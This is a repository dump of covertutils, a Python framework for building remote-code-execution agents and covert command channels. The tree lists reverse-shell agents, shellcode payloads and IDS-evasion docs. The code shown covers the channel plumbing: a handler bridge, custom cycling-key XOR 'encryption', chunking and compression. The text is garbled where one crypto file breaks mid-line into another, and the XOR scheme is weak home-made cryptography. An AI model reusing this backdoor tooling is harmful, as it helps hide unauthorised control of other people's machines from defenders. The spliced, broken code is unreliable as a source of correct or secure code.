├── .gitignore ├── .travis.yml ├── MANIFEST ├── README.md ├── covertutils ├── __init__.py ├── bridges │ ├── __init__.py │ └── simplebridge.py ├── crypto │ ├── __init__.py │ ├── algorithms │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── crc32cyclingalgorithm.py │ │ ├── cyclingalgorithm.py │ │ ├── nullcyclingalgorithm.py │ │ └── standardcyclingalgorithm.py │ └── keys │ │ ├── __init__.py │ │ ├── __main__.py │ │ ├── cyclingkey.py │ │ ├── encryptionkey.py │ │ └── standardcyclingkey.py ├── datamanipulation │ ├── __init__.py │ ├── adhocchunker.py │ ├── chunker.py │ ├── compressor.py │ ├── datatransformer.py │ └── stegoinjector.py ├── exceptions.py ├── handlers │ ├── __init__.py │ ├── basehandler.py │ ├── buffering.py │ ├── dateable.py │ ├── functiondict.py │ ├── impl │ │ ├── __init__.py │ │ ├── extendableshell.py │ │ ├── meterpretershell.py │ │ ├── simpleshell.py │ │ └── standardshell.py │ ├── interrogating.py │ ├── multi │ │ ├── __init__.py │ │ └── multihandler.py │ ├── responseonly.py │ └── stageable.py ├── helpers.py ├── orchestration │ ├── __init__.py │ ├── orchestrator.py │ ├── simpleorchestrator.py │ ├── stegoorchestrator.py │ └── streamidentifier.py ├── payloads │ ├── __init__.py │ ├── generic │ │ ├── __init__.py │ │ ├── control.py │ │ ├── echo.py │ │ ├── example.py │ │ ├── file.py │ │ ├── info.py │ │ ├── meterpreter.py │ │ ├── pythonapi.py │ │ ├── shell.py │ │ └── shellprocess.py │ ├── linux │ │ ├── __init__.py │ │ └── shellcode.py │ └── windows │ │ ├── __init__.py │ │ └── shellcode.py └── shells │ ├── __init__.py │ ├── baseshell.py │ ├── impl │ ├── __init__.py │ ├── extendableshell.py │ ├── meterpretershell.py │ ├── simpleshell.py │ └── standardshell.py │ ├── multi │ ├── __init__.py │ └── shell.py │ └── subshells │ ├── __init__.py │ ├── controlsubshell.py │ ├── examplesubshell.py │ ├── filesubshell.py │ ├── meterpretersubshell.py │ ├── pythonapisubshell.py │ ├── shellcodesubshell.py │ ├── simplesubshell.py │ └── stagesubshell.py ├── docs ├── Makefile ├── architecture.rst ├── assembling_backdoor.rst ├── components.rst ├── conf.py ├── covertutils.bridges.rst ├── covertutils.crypto.algorithms.rst ├── covertutils.crypto.keys.rst ├── covertutils.crypto.rst ├── covertutils.datamanipulation.rst ├── covertutils.handlers.impl.rst ├── covertutils.handlers.multi.rst ├── covertutils.handlers.rst ├── covertutils.orchestration.rst ├── covertutils.payloads.generic.rst ├── covertutils.payloads.linux.rst ├── covertutils.payloads.rst ├── covertutils.payloads.windows.rst ├── covertutils.rst ├── covertutils.shells.impl.rst ├── covertutils.shells.multi.rst ├── covertutils.shells.rst ├── covertutils.shells.subshells.rst ├── ids_evasion.rst ├── images │ ├── orchestrator.png │ └── pozzo_n_lucky_traffic.png ├── index.rst ├── installation.rst ├── modules.rst ├── native_execs.rst ├── package_structure.rst ├── prog_examples.rst ├── real_covert_channel_pozzo_n_lucky.rst ├── shells.rst ├── stage_api.rst ├── stages.rst └── staging_exec.rst ├── examples ├── dns_reverse_agent.py ├── dns_reverse_handler.py ├── docs │ ├── advanced │ │ ├── reverse_tcp_agent.obf.py │ │ ├── reverse_tcp_agent.py │ │ └── reverse_tcp_handler.py │ └── simple │ │ ├── reverse_tcp_agent.obf.py │ │ ├── reverse_tcp_agent.py │ │ └── reverse_tcp_handler.py ├── http_reverse_agent.py ├── http_reverse_handler.py ├── icmp_bind_agent.py ├── icmp_bind_handler.py ├── pozzo_n_lucky │ ├── lucky.py │ ├── pozzo.py │ └── stego_config.py ├── tcp_bind_agent.py ├── tcp_bind_handler.py ├── tcp_reverse_agent.py ├── tcp_reverse_handler.py ├── udp_reverse_agent.py └── udp_reverse_handler.py ├── makefile ├── manual_testbed.py ├── requirements.txt ├── setup.py └── tests ├── __init__.py ├── test_CommandFetcherHandler.py ├── test_Compressor.py ├── test_CyclingAlgorithm.py ├── test_DataTransformer.py ├── test_DateableHandler.py ├── test_FuncDictHandler.py ├── test_Pivot.py ├── test_ResponseOnlyHandler.py ├── test_SimpleShellHandler.py ├── test_StackOrchestrator.py ├── test_StageableHandler.py ├── test_StandardKeys.py ├── test_StegoInjector.py ├── test_StegoOrchestrator.py ├── test_StreamIdentifier.py ├── test_adhocchunker.py └── test_multi_inheritance_handler.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | htmlcov 3 | .coverage 4 | tox.ini 5 | .tox 6 | dist 7 | htmlcov 8 | covertutils.egg-info 9 | docs/_build 10 | docs/_static 11 | __pycache__ 12 | .pypirc 13 | .cache 14 | .eggs 15 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - 2.7.13 4 | # - 3.4 5 | # - 3.5 6 | - 3.6 7 | # PyPy versions 8 | # - pypy # PyPy2 5.8 9 | # - pypy3 # Pypy3 5.8 10 | matrix: 11 | allow_failures: 12 | - python: 3.6 13 | # command to install dependencies 14 | before_install: 15 | - pip install flake8 16 | # stop the build if there are Python syntax errors or undefined names... 17 | - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics 18 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 19 | # - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 20 | install: 21 | - pip install -r requirements.txt 22 | # command to run tests 23 | script: make test 24 | # script: pytest 25 | -------------------------------------------------------------------------------- /MANIFEST: -------------------------------------------------------------------------------- 1 | # file GENERATED by distutils, do NOT edit 2 | setup.py 3 | covertutils/__init__.py 4 | covertutils/exceptions.py 5 | covertutils/helpers.py 6 | covertutils/bridges/__init__.py 7 | covertutils/bridges/simplebridge.py 8 | covertutils/crypto/__init__.py 9 | covertutils/crypto/algorithms/__init__.py 10 | covertutils/crypto/algorithms/cyclingalgorithm.py 11 | covertutils/crypto/algorithms/standardcyclingalgorithm.py 12 | covertutils/crypto/keys/__init__.py 13 | covertutils/crypto/keys/cyclingkey.py 14 | covertutils/crypto/keys/encryptionkey.py 15 | covertutils/crypto/keys/hailstonekey.py 16 | covertutils/crypto/keys/standardcyclingkey.py 17 | covertutils/datamanipulation/__init__.py 18 | covertutils/datamanipulation/adhocchunker.py 19 | covertutils/datamanipulation/chunker.py 20 | covertutils/datamanipulation/compressor.py 21 | covertutils/datamanipulation/datatransformer.py 22 | covertutils/datamanipulation/stegoinjector.py 23 | covertutils/handlers/__init__.py 24 | covertutils/handlers/basehandler.py 25 | covertutils/handlers/buffering.py 26 | covertutils/handlers/functiondict.py 27 | covertutils/handlers/interrogating.py 28 | covertutils/handlers/resettable.py 29 | covertutils/handlers/responseonly.py 30 | covertutils/handlers/stageable.py 31 | covertutils/handlers/impl/__init__.py 32 | covertutils/handlers/impl/extendableshell.py 33 | covertutils/handlers/impl/simpleshell.py 34 | covertutils/handlers/impl/standardshell.py 35 | covertutils/orchestration/__init__.py 36 | covertutils/orchestration/orchestrator.py 37 | covertutils/orchestration/simpleorchestrator.py 38 | covertutils/orchestration/stegoorchestrator.py 39 | covertutils/orchestration/streamidentifier.py 40 | covertutils/payloads/__init__.py 41 | covertutils/payloads/generic/__init__.py 42 | covertutils/payloads/generic/control.py 43 | covertutils/payloads/generic/echo.py 44 | covertutils/payloads/generic/example.py 45 | covertutils/payloads/generic/file.py 46 | covertutils/payloads/generic/info.py 47 | covertutils/payloads/generic/pythonapi.py 48 | covertutils/payloads/generic/shell.py 49 | covertutils/payloads/generic/shellprocess.py 50 | covertutils/payloads/linux/__init__.py 51 | covertutils/payloads/linux/shellcode.py 52 | covertutils/payloads/windows/__init__.py 53 | covertutils/payloads/windows/shellcode.py 54 | covertutils/shells/__init__.py 55 | covertutils/shells/baseshell.py 56 | covertutils/shells/impl/__init__.py 57 | covertutils/shells/impl/extendableshell.py 58 | covertutils/shells/impl/simpleshell.py 59 | covertutils/shells/impl/standardshell.py 60 | covertutils/shells/subshells/__init__.py 61 | covertutils/shells/subshells/controlsubshell.py 62 | covertutils/shells/subshells/examplesubshell.py 63 | covertutils/shells/subshells/filesubshell.py 64 | covertutils/shells/subshells/pythonapisubshell.py 65 | covertutils/shells/subshells/shellcodesubshell.py 66 | covertutils/shells/subshells/simplesubshell.py 67 | covertutils/shells/subshells/stagesubshell.py 68 | covertutils/stages/http_stage.py 69 | -------------------------------------------------------------------------------- /covertutils/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | The ``covertutils`` module provides ready plug-n-play tools for `Remote Code Execution Agent` programming. 3 | Features like `chunking`, `encryption`, `data identification` are all handled transparently by its classes. 4 | The :class:`SimpleOrchestrator` handles all data manipulation, and the :class:`Handlers.BaseHandler` derivative classes handle the agent's and handler's actions and responses. 5 | 6 | The module does not provide networking functionalities. All networking has to be wrapped by two functions (a sender and a receiver functions) and Handlers will use those for raw_data. 7 | """ 8 | 9 | __version__ = '0.3.4' 10 | __name__ = 'covertutils' 11 | __author__ = 'John Torakis - operatorequals' 12 | __email__ = 'john.torakis@gmail.com' 13 | __github__ = 'https://github.com/operatorequals/covertutils' 14 | __readthedocs__ = 'https://covertutils.readthedocs.io' 15 | -------------------------------------------------------------------------------- /covertutils/bridges/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.bridges.simplebridge import SimpleBridge 3 | -------------------------------------------------------------------------------- /covertutils/bridges/simplebridge.py: -------------------------------------------------------------------------------- 1 | from covertutils.handlers import BufferingHandler 2 | 3 | from threading import Thread 4 | 5 | from time import sleep 6 | 7 | class SimpleBridge : 8 | """ 9 | The Bridge class is used to pass messages between 2 Handler objects. It can be used to bridge an Agent and a Handler using a third host. 10 | """ 11 | 12 | def __init__( self, lhandler, rhandler ) : 13 | 14 | if not( isinstance(lhandler, BufferingHandler) and isinstance(rhandler, BufferingHandler) ) : 15 | raise TypeError( "Argument is not of type 'BufferingHandler'" ) 16 | 17 | self.lcondition = lhandler.getCondition() 18 | self.rcondition = rhandler.getCondition() 19 | 20 | self.l2r_thread = Thread( target = self.__intercommunication, args = ( lhandler, rhandler, self.lcondition ) ) 21 | self.r2l_thread = Thread( target = self.__intercommunication, args = ( rhandler, lhandler, self.rcondition ) ) 22 | 23 | self.r2l_thread.daemon = True 24 | self.l2r_thread.daemon = True 25 | 26 | self.r2l_thread.start() 27 | self.l2r_thread.start() 28 | 29 | 30 | def __intercommunication( self, lhandler, rhandler, lcondition ) : 31 | 32 | while True : 33 | # print "Started loop" 34 | lcondition.acquire() 35 | # print "Started acquired!" 36 | if lhandler.empty() : 37 | lcondition.wait() 38 | 39 | # print "Acquired condition" 40 | stream, message = lhandler.get() 41 | # print stream, message 42 | # print "Sending" 43 | rhandler.preferred_send( message, stream ) 44 | lcondition.release() 45 | # lcondition.notify() 46 | # print "Leaving loop" 47 | sleep(0.01) 48 | -------------------------------------------------------------------------------- /covertutils/crypto/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/operatorequals/covertutils/2d1eae695f8a4ace12331ce3dc31125eb3d308df/covertutils/crypto/__init__.py -------------------------------------------------------------------------------- /covertutils/crypto/algorithms/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.crypto.algorithms.cyclingalgorithm import CyclingAlgorithm 3 | 4 | from covertutils.crypto.algorithms.standardcyclingalgorithm import StandardCyclingAlgorithm 5 | 6 | from covertutils.crypto.algorithms.crc32cyclingalgorithm import Crc32CyclingAlgorithm 7 | 8 | from covertutils.crypto.algorithms.nullcyclingalgorithm import NullCyclingAlgorithm 9 | -------------------------------------------------------------------------------- /covertutils/crypto/algorithms/__main__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.crypto.algorithms import * 3 | 4 | algo_dict = { 5 | 'null' : NullCyclingAlgorithm, 6 | 'std' : StandardCyclingAlgorithm, 7 | 'crc' : Crc32CyclingAlgorithm, 8 | } 9 | 10 | import argparse, sys 11 | 12 | parser = argparse.ArgumentParser() 13 | 14 | parser.add_argument("algorithm", help = 'The algorithm name to use', choices = algo_dict.keys(), type = str, default = 'std' ) 15 | parser.add_argument("message", help = "The message to be digested [use '-' for stdin]", type = str, default = '-' ) 16 | parser.add_argument("--cycles", '-c', help = "The cycles that the algorithm will perform", default = 20, type = int) 17 | parser.add_argument("--length", '-l', help = "The length of the output generated by the algorithm (if it has variable output support)", default = 32, type = int) 18 | # print 'a' 19 | args = parser.parse_args() 20 | # print args 21 | algo = algo_dict[args.algorithm] 22 | 23 | if args.message == '-' : 24 | args.message = sys.stdin.read() 25 | 26 | 27 | res = algo(args.message, args.length, args.cycles).hexdigest() 28 | print( res ) 29 | -------------------------------------------------------------------------------- /covertutils/crypto/algorithms/crc32cyclingalgorithm.py: -------------------------------------------------------------------------------- 1 | from covertutils.crypto.algorithms import CyclingAlgorithm 2 | 3 | from binascii import crc32 4 | 5 | import struct 6 | 7 | 8 | class Crc32CyclingAlgorithm ( CyclingAlgorithm ) : 9 | 10 | def __crc32bytes( self, inp ) : 11 | try : # Python2/3 kung fu 12 | res = struct.pack(' 0 : # need more to reach Length 99 | new_bytes = bytearray(permutate( prev_result, permut_list )) 100 | __result = __result + new_bytes 101 | # print new_bytes 102 | else : 103 | __result_list = bytearray(__result) 104 | for x in permut_list : 105 | 106 | __result_list.pop( x % len(__result_list) ) 107 | # pass 108 | __result = bytearray(__result_list) 109 | 110 | 111 | prev_result = __result[:] 112 | portion = int((len(__result) * (float(cycle)/cycles))) 113 | # print (cycle, cycles) 114 | # print ( float(cycle)/cycles) 115 | # print ( portion) 116 | __result = __result[: portion] 117 | 118 | return __result 119 | -------------------------------------------------------------------------------- /covertutils/crypto/keys/__init__.py: -------------------------------------------------------------------------------- 1 | from covertutils.crypto.keys.cyclingkey import CyclingKey 2 | 3 | from covertutils.crypto.keys.encryptionkey import EncryptionKey 4 | 5 | from covertutils.crypto.keys.standardcyclingkey import StandardCyclingKey 6 | -------------------------------------------------------------------------------- /covertutils/crypto/keys/__main__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.crypto.keys import * 3 | from covertutils.crypto.algorithms import * 4 | 5 | import binascii, base64, sys 6 | 7 | algo_dict = { 8 | 'null' : NullCyclingAlgorithm, 9 | 'std' : StandardCyclingAlgorithm, 10 | 'crc' : Crc32CyclingAlgorithm, 11 | } 12 | 13 | import argparse 14 | 15 | parser = argparse.ArgumentParser() 16 | 17 | parser.add_argument("key_type", help = 'The algorithm name to use', choices = algo_dict.keys(), type = str, default = 'std' ) 18 | parser.add_argument("passphrase", help = "The passphrase for key generation", type = str) 19 | parser.add_argument("message", help = "The message to be encrypted [use '-' for stdin]", type = str, default = '-') 20 | 21 | parser.add_argument('--decrypt', '-d', help = 'Add if the message is in encrypted form', action = 'store_true', default = False, ) 22 | parser.add_argument('--input-type', '-i', help = 'Specify the form of the input', choices = ['b64', 'hex', 'plain'], default = 'plain') 23 | parser.add_argument('--output-type', '-o', help = 'Specify the form of the ouput', choices = ['b64', 'hex', 'plain'], default = 'plain') 24 | 25 | args = parser.parse_args() 26 | # print args 27 | algo = algo_dict[args.key_type] 28 | 29 | key = StandardCyclingKey(args.passphrase, cycling_algorithm = algo) 30 | 31 | func = key.encrypt 32 | if args.decrypt : 33 | func = key.decrypt 34 | 35 | if args.message == '-' : 36 | args.message = sys.stdin.read() 37 | 38 | if args.input_type == 'hex' : 39 | message = str(binascii.unhexlify(args.message)) 40 | elif args.input_type == 'b64' : 41 | message = base64.b64decode(args.message) 42 | else : 43 | message = args.message 44 | 45 | res = func(message) 46 | 47 | if args.output_type == 'hex' : 48 | res = binascii.hexlify(res) 49 | if args.output_type == 'b64' : 50 | res = base64.b64encode(res) 51 | 52 | print (str(res)) 53 | -------------------------------------------------------------------------------- /covertutils/crypto/keys/cyclingkey.py: -------------------------------------------------------------------------------- 1 | from abc import ABCMeta, abstractmethod 2 | 3 | 4 | 5 | class CyclingKey : 6 | 7 | __metaclass__ = ABCMeta 8 | 9 | def __init__( self, passphrase, **kw ) : 10 | pass 11 | 12 | @abstractmethod 13 | def cycle( self, rounds = 1) : 14 | pass 15 | 16 | 17 | @abstractmethod 18 | def getUUIDBytes( self, length ) : 19 | pass 20 | 21 | 22 | @abstractmethod 23 | def getKeyBytes( self, length ) : 24 | pass 25 | 26 | 27 | @abstractmethod 28 | def getKeyLength( self ) : 29 | """ 30 | :rtype: int 31 | :return: Returns the key length. 32 | """ 33 | pass 34 | 35 | 36 | @abstractmethod 37 | def reset( self ) : pass 38 | 39 | 40 | @abstractmethod 41 | def setCycle( self, cycle ) : pass 42 | 43 | 44 | @abstractmethod 45 | def getCycles( self ) : pass 46 | -------------------------------------------------------------------------------- /covertutils/crypto/keys/encryptionkey.py: -------------------------------------------------------------------------------- 1 | from abc import ABCMeta, abstractmethod 2 | 3 | 4 | class EncryptionKey : 5 | 6 | __metaclass__ = ABCMeta 7 | 8 | @abstractmethod 9 | def encrypt( self, plain ) : pass 10 | @abstractmethod 11 | def decrypt( self, crypt ) : pass 12 | -------------------------------------------------------------------------------- /covertutils/crypto/keys/standardcyclingkey.py: -------------------------------------------------------------------------------- 1 | import codecs 2 | 3 | from covertutils.crypto.keys import CyclingKey, EncryptionKey 4 | 5 | from covertutils.helpers import sxor 6 | 7 | from covertutils.crypto.algorithms import StandardCyclingAlgorithm 8 | 9 | 10 | class StandardCyclingKey( CyclingKey, EncryptionKey ) : 11 | 12 | # random bytes for global salting. Never transmitted. 13 | __salt = codecs.decode( 14 | 'b2fb06410b0623bae23b5db0c43414c0ce08ae24b40808f0a25f5ca39c69bc1c' 15 | '1bbc9a53a91a596d2b80991aaeb644b27f46a1338024fff3f27b8db412a38691' 16 | 'e51b80349991d50bef8baa14c5ee0b446ddbe1af122bed442d282be0c4faf1f0' 17 | '423269aa5fbee1349672f4f30b1362ef18e5f1b68bdba3e6062e072bea79f5f1' 18 | 'e0848b04a5be51ebe852177ab96e4f054c40f18c3b8ec3bbae4a847a3860c3cf' 19 | '630e0bb327aa9dc8609e0bc9b6dbee6bd3597108f62caecf9df60acdbf8134bd' 20 | '7cc4457979bb54f8c7cfeb076dc843222b24cb0727b423a434f52f37a7da106a' 21 | '6e576e05c48223a99aafce6e9fbd24b641217662b91d060524deae84de5588c9', 'hex') 22 | 23 | 24 | def __init__ ( self, passphrase, cycling_algorithm = None, cycle = True, salt = None, **kw ) : 25 | """ 26 | :param str passphrase: The key will be created against a `passphrase`. Passphrase will be the primary seed of all cycling. If a Secure __hash function is used, it is length won't provide additional security, or better encryption. 27 | :param object cycling_algorithm: The cycling algorithm determines the key quality. By default the :class:CyclingAlgorithm class is used, but `hashlib.md5`, `hashlib.sha256` and every hash function object with a `digest()` method can be used. 28 | :param str salt: Salt further differentiates the key from other keys with the same `passphrase`. For two keys to be compatible they must have the same `salt` too. If not specified a default salt is used. 29 | """ 30 | super( StandardCyclingKey, self ).__init__( passphrase, **kw ) 31 | self.__counter = 0 32 | self.cycle_enabled = cycle 33 | self.cycling_algorithm = cycling_algorithm 34 | if self.cycling_algorithm == None: 35 | self.cycling_algorithm = StandardCyclingAlgorithm 36 | 37 | if salt != None : 38 | self.__salt = salt 39 | self.initial_key = self.__createKey( passphrase ) 40 | self.reset() 41 | 42 | del(passphrase) # just to be sure 43 | 44 | 45 | def __createKey( self, seed ) : 46 | return self.__hash( seed ) 47 | 48 | 49 | def __hash( self, message ) : 50 | try : 51 | return self.cycling_algorithm ( bytearray(message, 'utf8') + self.__salt ).digest() 52 | except : 53 | return self.cycling_algorithm ( message + self.__salt ).digest() 54 | 55 | 56 | def cycle( self, rounds = 1 ) : 57 | if self.cycle_enabled == False : return 58 | for i in range( rounds ) : 59 | self.__previous_key = self.current_key 60 | self.current_key = self.__hash( self.current_key ) 61 | self.__counter += 1 62 | return self.current_key 63 | 64 | 65 | def setCycle( self, cycle ) : 66 | assert cycle >= 1 67 | d = self.__counter - cycle 68 | if d < 0 : 69 | self.cycle( -d ) 70 | elif d > 0 : 71 | self.reset() 72 | self.cycle( cycle ) 73 | 74 | 75 | def reset( self ) : 76 | self.current_key = self.initial_key 77 | self.cycle( 1 ) 78 | self.__previous_key = self.initial_key 79 | self.__counter = 0 80 | 81 | 82 | def getKeyBytes( self, length = None ) : 83 | return self.__getKeyBytesFromKey( self.current_key, length ) 84 | 85 | 86 | def getUUIDBytes( self, length = None ) : 87 | return self.__getKeyBytesFromKey( self.initial_key, length) 88 | 89 | 90 | def getKeyLength( self ) : 91 | return len(self.current_key) 92 | 93 | 94 | def __getKeyBytesFromKey( self, key, length = None ) : 95 | if None : 96 | numOfBytes = len(self.key) 97 | return key[:length] 98 | 99 | 100 | def xor( self, message, cycle = True ) : 101 | 102 | # message = bytearray( message ) 103 | key = self.current_key 104 | final_key = key 105 | while len(message) > len(final_key) : 106 | if cycle : 107 | self.cycle() 108 | final_key += self.getKeyBytes()[:2*self.getKeyLength()//3] # 2/3 of the current key length will be used as key 109 | try : 110 | s1 = bytearray(message) 111 | s2 = bytearray(final_key) 112 | except TypeError: 113 | s1 = bytearray(message, 'utf8') 114 | s2 = final_key 115 | 116 | if cycle : 117 | self.cycle() 118 | # print (s1, s2) 119 | ret = bytearray([a ^ b for a,b in zip(s1,s2)]) 120 | 121 | # LOG.debug("XORING:\n%s\n%s\n-> %s" % (s1.encode('hex'), s2.encode('hex'), ret.encode('hex'))) 122 | try : 123 | return str(ret, encoding='UTF-8') 124 | except : 125 | return str(ret) 126 | 127 | 128 | def getCycles( self ) : 129 | """ 130 | :rtype: int 131 | :return: Returns the number of rounds the key has cycled. 132 | """ 133 | return self.__counter 134 | 135 | 136 | def encrypt( self, plain ) : return self.xor( plain ) 137 | def decrypt( self, crypt ) : return self.xor( crypt ) 138 | -------------------------------------------------------------------------------- /covertutils/datamanipulation/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | from covertutils.datamanipulation.stegoinjector import StegoInjector 3 | 4 | from covertutils.datamanipulation.datatransformer import DataTransformer 5 | 6 | from covertutils.datamanipulation.compressor import Compressor 7 | 8 | from covertutils.datamanipulation.chunker import Chunker 9 | 10 | from covertutils.datamanipulation.adhocchunker import AdHocChunker 11 | 12 | from covertutils.datamanipulation.stegoinjector import asciiToHexTemplate 13 | -------------------------------------------------------------------------------- /covertutils/datamanipulation/adhocchunker.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from os import urandom 4 | from struct import pack, unpack 5 | 6 | try: 7 | bytes # Python 3 8 | except NameError: 9 | bytes = str # Python 2 10 | 11 | 12 | class AdHocChunker : 13 | """ 14 | The AdHocChunker class is a special chunker that doesn't tag each chunk that creates. 15 | It works by concatenating the actual byte size of the message that is to be chunked with the message itself. 16 | It splits the message into even chunks of size that is passed in the :func:`chunkMessage` method. 17 | 18 | The dechunking works by first identifying the byte length of the whole message and waiting until all bytes are received, discarding any padding bytes. 19 | 20 | """ 21 | 22 | def __init__( self, tag_length = 2 ) : 23 | """ 24 | """ 25 | self.__message = '' 26 | self.tag_length = tag_length 27 | self.reset() 28 | 29 | 30 | def setChunkSize( self, chunk_size ) : 31 | self.chunk_size = chunk_size - self.tag_length 32 | 33 | 34 | def chunkMessage( self, payload, chunk_size = None ) : 35 | """ 36 | :param str payload: The raw data to be chunked in bytes. 37 | :rtype: list 38 | :return: A list of chunks containing the chunked `payload`. 39 | """ 40 | data = self.__prepareMessage( payload ) 41 | chunks = [] 42 | 43 | if not chunk_size : 44 | chunk_size = self.chunk_size 45 | 46 | # self.setChunkSize( chunk_size ) 47 | 48 | while data : 49 | 50 | if len(data) >= chunk_size : 51 | chunk = data[:chunk_size] 52 | data = data[chunk_size:] 53 | # print len(data) 54 | else : 55 | chunk = data 56 | padding_length = chunk_size - len(chunk) 57 | chunk += urandom( padding_length ) 58 | chunks.append( chunk ) 59 | break 60 | 61 | chunks.append( chunk ) 62 | return chunks 63 | 64 | 65 | def deChunkMessage( self, chunk ) : 66 | """ 67 | :param str chunk: A part of a chunked message to be assembled. 68 | :rtype: tuple 69 | :return: The method return a tuple of (status, message). If status is `False` or `None` the provided chunk isn't the last part of the message and the message contains an empty string. Else, the assembled message can be found in `message`. 70 | 71 | """ 72 | if self.remaining_bytes == 0 : 73 | tag, data = self.__dissectTag( chunk ) 74 | self.remaining_bytes = self.__decodeTag( tag ) 75 | else : 76 | data = chunk 77 | data_length = len(data) 78 | 79 | if data_length <= self.remaining_bytes : 80 | self.__message += data 81 | self.remaining_bytes -= data_length 82 | else : 83 | self.__message += data[:self.remaining_bytes] 84 | self.remaining_bytes = 0 85 | 86 | if self.remaining_bytes == 0 : 87 | ret = self.__message 88 | self.reset() 89 | return True, ret 90 | return None, None 91 | 92 | 93 | def __decodeTag( self, tag ) : 94 | while len(tag) < 8 : 95 | tag = '\x00' + tag 96 | return unpack(">Q", tag)[0] 97 | 98 | 99 | def __prepareMessage( self, payload ) : 100 | return bytes( self.__createTag( payload ) ) + bytes( payload ) 101 | 102 | 103 | def __createTag( self, chunk ) : 104 | data_length = len(chunk) 105 | tag = pack(">Q", data_length ) # Q: 8 bytes - unsigned long long - huge number 106 | while tag[0] == '\x00' and len(tag) > self.tag_length : 107 | tag = tag[1:] 108 | return tag 109 | 110 | def __dissectTags( self, chunks ) : 111 | return [ self.__dissectTag( chunk ) for chunk in chunks ] 112 | 113 | 114 | def __tagChunk( self, chunk, tag ) : 115 | return tag + chunk 116 | 117 | 118 | def __dissectTag( self, chunk ) : 119 | tag = chunk[:self.tag_length] 120 | chunk = chunk[self.tag_length:] 121 | return tag, chunk 122 | 123 | 124 | def reset( self ) : 125 | """ 126 | Resets all partially assembled messages. 127 | """ 128 | self.__message = '' 129 | self.remaining_bytes = 0 130 | self.chunk_size = 0 131 | 132 | 133 | def chunkMessageToStr( self, payload ) : 134 | return ''.join(chunkMessage( payload )) 135 | -------------------------------------------------------------------------------- /covertutils/datamanipulation/chunker.py: -------------------------------------------------------------------------------- 1 | from covertutils.exceptions import * 2 | 3 | from os import urandom 4 | 5 | 6 | class Chunker : 7 | """ 8 | The Chunker class is used to initialize chunk and de-chunk messages. 9 | 10 | """ 11 | 12 | __has_more_tag = '\x00' 13 | 14 | def __init__( self, chunk_length, dechunk_length = None, reverse = False ) : 15 | """ 16 | :param int chunk_length: This parameter defines the size of the output chunks, containing tagging. 17 | :param int dechunk_length: This parameter defines the size of the input chunks, containing tagging. 18 | :param bool reverse: If `True` the `chunk_length` and `dechunk_length` are swapped. Useful when setting up 2 instances that have to match. 19 | """ 20 | 21 | self.in_length = dechunk_length 22 | if reverse : 23 | self.out_length, self.in_length = self.in_length, chunk_length 24 | 25 | self.tag_length = 1 26 | self.out_length = chunk_length - self.tag_length 27 | self.__message = '' 28 | 29 | 30 | def chunkMessage( self, payload ) : 31 | """ 32 | :param str payload: The raw data to be chunked in bytes. 33 | :rtype: list 34 | :return: A list of chunks containing the chunked `payload`. 35 | """ 36 | chunk_size = self.out_length 37 | chunks = [] 38 | 39 | for i in xrange(0, len( payload ), chunk_size) : 40 | 41 | chunk = payload[i:i + chunk_size] 42 | tag = self.__has_more_tag 43 | last_iteration = i + chunk_size >= len(payload) 44 | 45 | if last_iteration : 46 | padding_length = chunk_size - len(chunk) 47 | padding = urandom( padding_length ) 48 | tag = chr( len(chunk) ) 49 | # print "%s - Length %d, padding %d" % (chunk.encode('hex'), len(chunk), len(padding)) 50 | chunk = chunk + padding 51 | 52 | tagged_chunk = self.__tagChunk( chunk, tag ) 53 | chunks.append( tagged_chunk ) 54 | 55 | return chunks 56 | 57 | 58 | 59 | def deChunkMessage( self, chunk, ret_chunk = False ) : 60 | """ 61 | :param str chunk: A part of a chunked message to be assembled. 62 | :rtype: tuple 63 | :return: The method return a tuple of (status, message). If status is `False` the provided chunk isn't the last part of the message and the message contains an empty string. Else, the assembled message can be found in `message`. 64 | 65 | """ 66 | tag, chunk = self.__dissectTag( chunk ) 67 | # print tag 68 | is_last = tag != self.__has_more_tag 69 | 70 | if tag == '' : 71 | raise InvalidChunkException("Empty tag supplied to the deChunk method") 72 | if is_last : 73 | data_left = ord( tag ) 74 | chunk = chunk [: data_left] 75 | 76 | self.__message += chunk 77 | if is_last : 78 | ret = self.__message 79 | self.reset() 80 | return True, ret 81 | if ret_chunk : 82 | return False, chunk 83 | return None, None 84 | 85 | 86 | def __dissectTags( self, chunks ) : 87 | return [ self.__dissectTag( chunk ) for chunk in chunks ] 88 | 89 | 90 | def __tagChunk( self, chunk, tag ) : 91 | return tag + chunk 92 | 93 | 94 | def __dissectTag( self, chunk ) : 95 | return chunk [:self.tag_length], chunk[self.tag_length: ] 96 | 97 | 98 | def reset( self ) : 99 | """ 100 | Resets all partially assembled messages. 101 | """ 102 | self.__message = '' 103 | 104 | 105 | def chunkMessageToStr( self, payload ) : 106 | return ''.join(chunkMessage( payload )) 107 | -------------------------------------------------------------------------------- /covertutils/datamanipulation/compressor.py: -------------------------------------------------------------------------------- 1 | import bz2 2 | import zlib 3 | 4 | 5 | class Compressor : 6 | """ 7 | The Compressor class initializes the **bz2** and **zlib** compression routines. 8 | It detects the used compression on a **trial and error** base, eliminating the need of flag bytes containing such information. 9 | """ 10 | 11 | 12 | def __init__( self ) : 13 | self.comps = [bz2.compress, zlib.compress, self.__dummy_func] 14 | self.decomps = [bz2.decompress, zlib.decompress, self.__dummy_func] 15 | 16 | 17 | def __dummy_func( self, data ) : return data 18 | 19 | 20 | def compress( self, message ) : 21 | """ 22 | This funtion performs all provided compression algorithm to the *message* parameter and decides which does the most efficient compression. 23 | It does so by comparing the output lengths. 24 | 25 | :param str message: The data to be compressed in raw bytes. 26 | :rtype: str 27 | :return: Data compressed by most efficient available algorithm. 28 | 29 | """ 30 | if message == None : 31 | message = ' ' 32 | zips = [] 33 | for 